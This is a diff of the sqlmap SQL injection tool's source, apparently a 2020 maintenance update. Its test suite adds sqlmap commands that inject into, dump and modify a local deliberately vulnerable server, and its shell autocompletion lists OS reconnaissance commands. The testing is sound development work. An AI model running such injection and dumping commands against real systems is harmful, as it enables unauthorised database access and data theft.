@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -118,19 +118,24 @@ def autoCompletion(completion=None, os=None, commands=None):
        if os == OS.WINDOWS:
            # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
            completer = CompleterNG({
-                "copy": None, "del": None, "dir": None,
-                "echo": None, "md": None, "mem": None,
+                "attrib": None, "copy": None, "del": None,
+                "dir": None, "echo": None, "fc": None,
+                "label": None, "md": None, "mem": None,
                "move": None, "net": None, "netstat -na": None,
-                "ver": None, "xcopy": None, "whoami": None,
+                "tree": None, "truename": None, "type": None,
+                "ver": None, "vol": None, "xcopy": None,
            })

        else:
            # Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
            completer = CompleterNG({
-                "cp": None, "rm": None, "ls": None,
-                "echo": None, "mkdir": None, "free": None,
-                "mv": None, "ifconfig": None, "netstat -natu": None,
-                "pwd": None, "uname": None, "id": None,
+                "cat": None, "chmod": None, "chown": None,
+                "cp": None, "cut": None, "date": None, "df": None,
+                "diff": None, "du": None, "echo": None, "env": None,
+                "file": None, "find": None, "free": None, "grep": None,
+                "id": None, "ifconfig": None, "ls": None, "mkdir": None,
+                "mv": None, "netstat": None, "pwd": None, "rm": None,
+                "uname": None, "whoami": None,
            })

        readline.set_completer(completer.complete)
--- a/lib/core/subprocessng.py
+++ b/lib/core/subprocessng.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/core/target.py
+++ b/lib/core/target.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -106,7 +106,7 @@ def _setRequestParams():
        conf.data = ""

    if conf.data is not None:
-        conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method
+        conf.method = conf.method or HTTPMETHOD.POST

        def process(match, repl):
            retVal = match.group(0)
@@ -125,7 +125,7 @@ def _setRequestParams():
            return retVal

        if kb.processUserMarks is None and kb.customInjectionMark in conf.data:
-            message = "custom injection marker ('%s') found in POST " % kb.customInjectionMark
+            message = "custom injection marker ('%s') found in %s " % (kb.customInjectionMark, conf.method)
            message += "body. Do you want to process it? [Y/n/q] "
            choice = readInput(message, default='Y').upper()

@@ -138,7 +138,7 @@ def _setRequestParams():
                    kb.testOnlyCustom = True

        if re.search(JSON_RECOGNITION_REGEX, conf.data):
-            message = "JSON data found in %s data. " % conf.method
+            message = "JSON data found in %s body. " % conf.method
            message += "Do you want to process it? [Y/n/q] "
            choice = readInput(message, default='Y').upper()

@@ -162,7 +162,7 @@ def _setRequestParams():
                kb.postHint = POST_HINT.JSON

        elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
-            message = "JSON-like data found in %s data. " % conf.method
+            message = "JSON-like data found in %s body. " % conf.method
            message += "Do you want to process it? [Y/n/q] "
            choice = readInput(message, default='Y').upper()

@@ -178,7 +178,7 @@ def _setRequestParams():
                kb.postHint = POST_HINT.JSON_LIKE

        elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
-            message = "Array-like data found in %s data. " % conf.method
+            message = "Array-like data found in %s body. " % conf.method
            message += "Do you want to process it? [Y/n/q] "
            choice = readInput(message, default='Y').upper()

@@ -192,7 +192,7 @@ def _setRequestParams():
                kb.postHint = POST_HINT.ARRAY_LIKE

        elif re.search(XML_RECOGNITION_REGEX, conf.data):
-            message = "SOAP/XML data found in %s data. " % conf.method
+            message = "SOAP/XML data found in %s body. " % conf.method
            message += "Do you want to process it? [Y/n/q] "
            choice = readInput(message, default='Y').upper()

@@ -207,7 +207,7 @@ def _setRequestParams():
                kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML

        elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
-            message = "Multipart-like data found in %s data. " % conf.method
+            message = "Multipart-like data found in %s body. " % conf.method
            message += "Do you want to process it? [Y/n/q] "
            choice = readInput(message, default='Y').upper()

@@ -401,7 +401,7 @@ def _setRequestParams():
        raise SqlmapGenericException(errMsg)

    if conf.csrfToken:
-        if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
+        if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
            errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
            errMsg += "found in provided GET, POST, Cookie or header values"
            raise SqlmapGenericException(errMsg)
--- a/lib/core/testing.py
+++ b/lib/core/testing.py
@@ -1,62 +1,39 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

 from __future__ import division

-import codecs
 import doctest
 import logging
 import os
 import random
 import re
-import shutil
 import socket
 import sqlite3
 import sys
 import tempfile
 import threading
 import time
-import traceback

-from extra.beep.beep import beep
 from extra.vulnserver import vulnserver
-from lib.controller.controller import start
 from lib.core.common import clearColors
 from lib.core.common import clearConsoleLine
 from lib.core.common import dataToStdout
+from lib.core.common import randomInt
 from lib.core.common import randomStr
-from lib.core.common import readXmlFile
 from lib.core.common import shellExec
 from lib.core.compat import round
 from lib.core.compat import xrange
 from lib.core.convert import encodeBase64
-from lib.core.convert import getUnicode
-from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import paths
 from lib.core.data import queries
-from lib.core.enums import MKSTEMP_PREFIX
-from lib.core.exception import SqlmapBaseException
-from lib.core.exception import SqlmapNotVulnerableException
-from lib.core.log import LOGGER_HANDLER
-from lib.core.option import init
-from lib.core.option import initOptions
-from lib.core.option import setVerbosity
-from lib.core.optiondict import optDict
-from lib.core.settings import UNICODE_ENCODING
-from lib.parse.cmdline import cmdLineParser

-class Failures(object):
-    failedItems = None
-    failedParseOn = None
-    failedTraceBack = None
-
-_failures = Failures()
 _rand = 0

 def vulnTest():
@@ -65,29 +42,33 @@ def vulnTest():
    """

    TESTS = (
-        (u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'",)),
-        (u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape", (u": '\u0161u\u0107uraj'",)),
+        ("-h", ("to see full list of options run with '-hh'",)),
+        ("-u <url> --flush-session --wizard --check-internet", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.", "~no connection detected")),
+        (u"-c <config> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'",)),
+        (u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
+        ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
        ("--list-tampers", ("between", "MySQL", "xforwardedfor")),
        ("-r <request> --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")),
-        ("-l <log> --flush-session --skip-waf -v 3 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell")),
+        ("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
        ("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
        ("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
        ("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
        ("-u <url> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\"id\" value=\"1*\"/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
        ("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
        ("-u <url> --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
-        ("-u <url> --flush-session --banner --invalid-logical --technique=B --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")),
+        ("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")),
        ("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
        ("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")),
        ("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
        ("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
-        ("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --answer=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary")),
+        ("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
        ("-u <url> --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
        ("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")),
        ("-u '<url>&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting",)),
        ("-u '<url>&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
-        ("-d <direct> --flush-session --dump -T users --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)",)),
+        ("-d <direct> --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)", "dumped to SQLITE database")),
        ("-d <direct> --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "[*] 987654321",)),
+        ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
    )

    retVal = True
@@ -110,6 +91,9 @@ def vulnTest():
        except:
            time.sleep(1)

+    handle, config = tempfile.mkstemp(suffix=".conf")
+    os.close(handle)
+
    handle, database = tempfile.mkstemp(suffix=".sqlite")
    os.close(handle)

@@ -131,11 +115,14 @@ def vulnTest():
    url = "http://%s:%d/?id=1" % (address, port)
    direct = "sqlite3://%s" % database

+    content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url)
+    open(config, "w+").write(content)
+
    for options, checks in TESTS:
        status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
        dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))

-        cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log))
+        cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log).replace("<config>", config))
        output = shellExec(cmd)

        if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
@@ -153,6 +140,67 @@ def vulnTest():

    return retVal

+def fuzzTest():
+    count = 0
+    address, port = "127.0.0.10", random.randint(1025, 65535)
+
+    def _thread():
+        vulnserver.init(quiet=True)
+        vulnserver.run(address=address, port=port)
+
+    thread = threading.Thread(target=_thread)
+    thread.daemon = True
+    thread.start()
+
+    while True:
+        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        try:
+            s.connect((address, port))
+            break
+        except:
+            time.sleep(1)
+
+    handle, config = tempfile.mkstemp(suffix=".conf")
+    os.close(handle)
+
+    url = "http://%s:%d/?id=1" % (address, port)
+
+    content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url)
+    open(config, "w+").write(content)
+
+    while True:
+        lines = content.split("\n")
+
+        for i in xrange(20):
+            j = random.randint(0, len(lines) - 1)
+
+            if any(_ in lines[j] for _ in ("googleDork",)):
+                continue
+
+            if lines[j].strip().endswith('='):
+                lines[j] += random.sample(("True", "False", randomStr(), str(randomInt())), 1)[0]
+
+            k = random.randint(0, len(lines) - 1)
+            if '=' in lines[k]:
+                lines[k] += chr(random.randint(0, 255))
+
+        open(config, "w+").write("\n".join(lines))
+
+        cmd = "%s %s -c %s --non-interactive --answers='Github=n' --flush-session --technique=%s --banner" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), config, random.sample("BEUQ", 1)[0])
+        output = shellExec(cmd)
+
+        if "Traceback" in output:
+            dataToStdout("---\n\n$ %s\n" % cmd)
+            dataToStdout("%s---\n" % clearColors(output))
+
+            handle, config = tempfile.mkstemp(prefix="sqlmapcrash", suffix=".conf")
+            os.close(handle)
+            open(config, "w+").write("\n".join(lines))
+        else:
+            dataToStdout("\r%d\r" % count)
+
+        count += 1
+
 def dirtyPatchRandom():
    """
    Unifying random generated data across different Python versions
@@ -192,6 +240,15 @@ def smokeTest():

    dirtyPatchRandom()

+    content = open(paths.ERRORS_XML, "r").read()
+    for regex in re.findall(r'<error regexp="(.+?)"/>', content):
+        try:
+            re.compile(regex)
+        except re.error:
+            errMsg = "smoke test failed at compiling '%s'" % regex
+            logger.error(errMsg)
+            return False
+
    retVal = True
    count, length = 0, 0

@@ -208,7 +265,7 @@ def smokeTest():
            continue

        for filename in files:
-            if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py":
+            if os.path.splitext(filename)[1].lower() == ".py" and filename not in ("__init__.py", "gui.py"):
                path = os.path.join(root, os.path.splitext(filename)[0])
                path = path.replace(paths.SQLMAP_ROOT_PATH, '.')
                path = path.replace(os.sep, '.').lstrip('.')
@@ -264,233 +321,3 @@ def smokeTest():
        logger.error("smoke test final result: FAILED")

    return retVal
-
-def adjustValueType(tagName, value):
-    for family in optDict:
-        for name, type_ in optDict[family].items():
-            if type(type_) == tuple:
-                type_ = type_[0]
-            if tagName == name:
-                if type_ == "boolean":
-                    value = (value == "True")
-                elif type_ == "integer":
-                    value = int(value)
-                elif type_ == "float":
-                    value = float(value)
-                break
-    return value
-
-def liveTest():
-    """
-    Runs the test of a program against the live testing environment
-    """
-
-    retVal = True
-    count = 0
-    global_ = {}
-    vars_ = {}
-
-    livetests = readXmlFile(paths.LIVE_TESTS_XML)
-    length = len(livetests.getElementsByTagName("case"))
-
-    element = livetests.getElementsByTagName("global")
-    if element:
-        for item in element:
-            for child in item.childNodes:
-                if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
-                    global_[child.tagName] = adjustValueType(child.tagName, child.getAttribute("value"))
-
-    element = livetests.getElementsByTagName("vars")
-    if element:
-        for item in element:
-            for child in item.childNodes:
-                if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
-                    var = child.getAttribute("value")
-                    vars_[child.tagName] = randomStr(6) if var == "random" else var
-
-    for case in livetests.getElementsByTagName("case"):
-        parse_from_console_output = False
-        count += 1
-        name = None
-        parse = []
-        switches = dict(global_)
-        value = ""
-        vulnerable = True
-        result = None
-
-        if case.hasAttribute("name"):
-            name = case.getAttribute("name")
-
-        if conf.runCase and ((conf.runCase.isdigit() and conf.runCase != count) or not re.search(conf.runCase, name, re.DOTALL)):
-            continue
-
-        if case.getElementsByTagName("switches"):
-            for child in case.getElementsByTagName("switches")[0].childNodes:
-                if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
-                    value = replaceVars(child.getAttribute("value"), vars_)
-                    switches[child.tagName] = adjustValueType(child.tagName, value)
-
-        if case.getElementsByTagName("parse"):
-            for item in case.getElementsByTagName("parse")[0].getElementsByTagName("item"):
-                if item.hasAttribute("value"):
-                    value = replaceVars(item.getAttribute("value"), vars_)
-
-                if item.hasAttribute("console_output"):
-                    parse_from_console_output = bool(item.getAttribute("console_output"))
-
-                parse.append((value, parse_from_console_output))
-
-        conf.verbose = global_.get("verbose", 1)
-        setVerbosity()
-
-        msg = "running live test case: %s (%d/%d)" % (name, count, length)
-        logger.info(msg)
-
-        initCase(switches, count)
-
-        test_case_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "test_case"), "wb", UNICODE_ENCODING)
-        test_case_fd.write("%s\n" % name)
-
-        try:
-            result = runCase(parse)
-        except SqlmapNotVulnerableException:
-            vulnerable = False
-        finally:
-            conf.verbose = global_.get("verbose", 1)
-            setVerbosity()
-
-        if result is True:
-            logger.info("test passed")
-            cleanCase()
-        else:
-            errMsg = "test failed"
-
-            if _failures.failedItems:
-                errMsg += " at parsing items: %s" % ", ".join(i for i in _failures.failedItems)
-
-            errMsg += " - scan folder: %s" % paths.SQLMAP_OUTPUT_PATH
-            errMsg += " - traceback: %s" % bool(_failures.failedTraceBack)
-
-            if not vulnerable:
-                errMsg += " - SQL injection not detected"
-
-            logger.error(errMsg)
-            test_case_fd.write("%s\n" % errMsg)
-
-            if _failures.failedParseOn:
-                console_output_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "console_output"), "wb", UNICODE_ENCODING)
-                console_output_fd.write(_failures.failedParseOn)
-                console_output_fd.close()
-
-            if _failures.failedTraceBack:
-                traceback_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "traceback"), "wb", UNICODE_ENCODING)
-                traceback_fd.write(_failures.failedTraceBack)
-                traceback_fd.close()
-
-            beep()
-
-            if conf.stopFail is True:
-                return retVal
-
-        test_case_fd.close()
-        retVal &= bool(result)
-
-    dataToStdout("\n")
-
-    if retVal:
-        logger.info("live test final result: PASSED")
-    else:
-        logger.error("live test final result: FAILED")
-
-    return retVal
-
-def initCase(switches, count):
-    _failures.failedItems = []
-    _failures.failedParseOn = None
-    _failures.failedTraceBack = None
-
-    paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="%s%d-" % (MKSTEMP_PREFIX.TESTING, count))
-    paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
-    paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
-
-    logger.debug("using output directory '%s' for this test case" % paths.SQLMAP_OUTPUT_PATH)
-
-    LOGGER_HANDLER.stream = sys.stdout = tempfile.SpooledTemporaryFile(max_size=0, mode="w+b", prefix="sqlmapstdout-")
-
-    cmdLineOptions = cmdLineParser()
-
-    if switches:
-        for key, value in switches.items():
-            if key in cmdLineOptions.__dict__:
-                cmdLineOptions.__dict__[key] = value
-
-    initOptions(cmdLineOptions, True)
-    init()
-
-def cleanCase():
-    shutil.rmtree(paths.SQLMAP_OUTPUT_PATH, True)
-
-def runCase(parse):
-    retVal = True
-    handled_exception = None
-    unhandled_exception = None
-    result = False
-    console = ""
-
-    try:
-        result = start()
-    except KeyboardInterrupt:
-        pass
-    except SqlmapBaseException as ex:
-        handled_exception = ex
-    except Exception as ex:
-        unhandled_exception = ex
-    finally:
-        sys.stdout.seek(0)
-        console = sys.stdout.read()
-        LOGGER_HANDLER.stream = sys.stdout = sys.__stdout__
-
-    if unhandled_exception:
-        _failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc())
-        retVal = None
-    elif handled_exception:
-        _failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc())
-        retVal = None
-    elif result is False:  # this means no SQL injection has been detected - if None, ignore
-        retVal = False
-
-    console = getUnicode(console, encoding=sys.stdin.encoding)
-
-    if parse and retVal:
-        with codecs.open(conf.dumper.getOutputFile(), "rb", UNICODE_ENCODING) as f:
-            content = f.read()
-
-        for item, parse_from_console_output in parse:
-            parse_on = console if parse_from_console_output else content
-
-            if item.startswith("r'") and item.endswith("'"):
-                if not re.search(item[2:-1], parse_on, re.DOTALL):
-                    retVal = None
-                    _failures.failedItems.append(item)
-
-            elif item not in parse_on:
-                retVal = None
-                _failures.failedItems.append(item)
-
-        if _failures.failedItems:
-            _failures.failedParseOn = console
-
-    elif retVal is False:
-        _failures.failedParseOn = console
-
-    return retVal
-
-def replaceVars(item, vars_):
-    retVal = item
-
-    if item and vars_:
-        for var in re.findall(r"\$\{([^}]+)\}", item):
-            if var in vars_:
-                retVal = retVal.replace("${%s}" % var, vars_[var])
-
-    return retVal
--- a/lib/core/threads.py
+++ b/lib/core/threads.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/core/unescaper.py
+++ b/lib/core/unescaper.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/core/update.py
+++ b/lib/core/update.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -136,6 +136,6 @@ def update():
            infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads"
        else:
            infoMsg = "for Linux platform it's recommended "
-            infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')"
+            infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt install git')"

        logger.info(infoMsg)
--- a/lib/core/wordlist.py
+++ b/lib/core/wordlist.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/parse/init.py
+++ b/lib/parse/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/parse/banner.py
+++ b/lib/parse/banner.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/parse/cmdline.py
+++ b/lib/parse/cmdline.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -78,6 +78,7 @@ from lib.core.defaults import defaults
 from lib.core.dicts import DEPRECATED_OPTIONS
 from lib.core.enums import AUTOCOMPLETE_TYPE
 from lib.core.exception import SqlmapShellQuitException
+from lib.core.exception import SqlmapSilentQuitException
 from lib.core.exception import SqlmapSyntaxException
 from lib.core.option import _createHomeDirectories
 from lib.core.settings import BASIC_HELP_ITEMS
@@ -251,7 +252,7 @@ def cmdLineParser(argv=None):
            help="Load safe HTTP request from a file")

        request.add_argument("--safe-freq", dest="safeFreq", type=int,
-            help="Test requests between two visits to a given safe URL")
+            help="Regular requests between visits to a safe URL")

        request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true",
            help="Skip URL encoding of payload data")
@@ -780,22 +781,19 @@ def cmdLineParser(argv=None):
        parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true",
            help=SUPPRESS)

+        parser.add_argument("--non-interactive", dest="nonInteractive", action="store_true",
+            help=SUPPRESS)
+
        parser.add_argument("--gui", dest="gui", action="store_true",
            help=SUPPRESS)

        parser.add_argument("--smoke-test", dest="smokeTest", action="store_true",
            help=SUPPRESS)

-        parser.add_argument("--live-test", dest="liveTest", action="store_true",
-            help=SUPPRESS)
-
        parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
            help=SUPPRESS)

-        parser.add_argument("--stop-fail", dest="stopFail", action="store_true",
-            help=SUPPRESS)
-
-        parser.add_argument("--run-case", dest="runCase",
+        parser.add_argument("--fuzz-test", dest="fuzzTest", action="store_true",
            help=SUPPRESS)

        # API options
@@ -863,10 +861,10 @@ def cmdLineParser(argv=None):

        if "--gui" in argv:
            from lib.core.gui import runGui
+
            runGui(parser)

-            if hasattr(parser, "_args"):
-                return parser._args
+            raise SqlmapSilentQuitException

        elif "--sqlmap-shell" in argv:
            _createHomeDirectories()
@@ -941,6 +939,8 @@ def cmdLineParser(argv=None):
            elif argv[i] == "-H":
                if i + 1 < len(argv):
                    extraHeaders.append(argv[i + 1])
+            elif argv[i] == "--deps":
+                argv[i] = "--dependencies"
            elif argv[i] == "-r":
                for j in xrange(i + 2, len(argv)):
                    value = argv[j]
@@ -1002,7 +1002,7 @@ def cmdLineParser(argv=None):
        if args.dummy:
            args.url = args.url or DUMMY_URL

-        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
+        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
            errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
            errMsg += "Use -h for basic and -hh for advanced help\n"
            parser.error(errMsg)
--- a/lib/parse/configfile.py
+++ b/lib/parse/configfile.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/parse/handler.py
+++ b/lib/parse/handler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/parse/headers.py
+++ b/lib/parse/headers.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/parse/html.py
+++ b/lib/parse/html.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -26,7 +26,10 @@ class HTMLHandler(ContentHandler):

        self._dbms = None
        self._page = (page or "")
-        self._lower_page = self._page.lower()
+        try:
+            self._lower_page = self._page.lower()
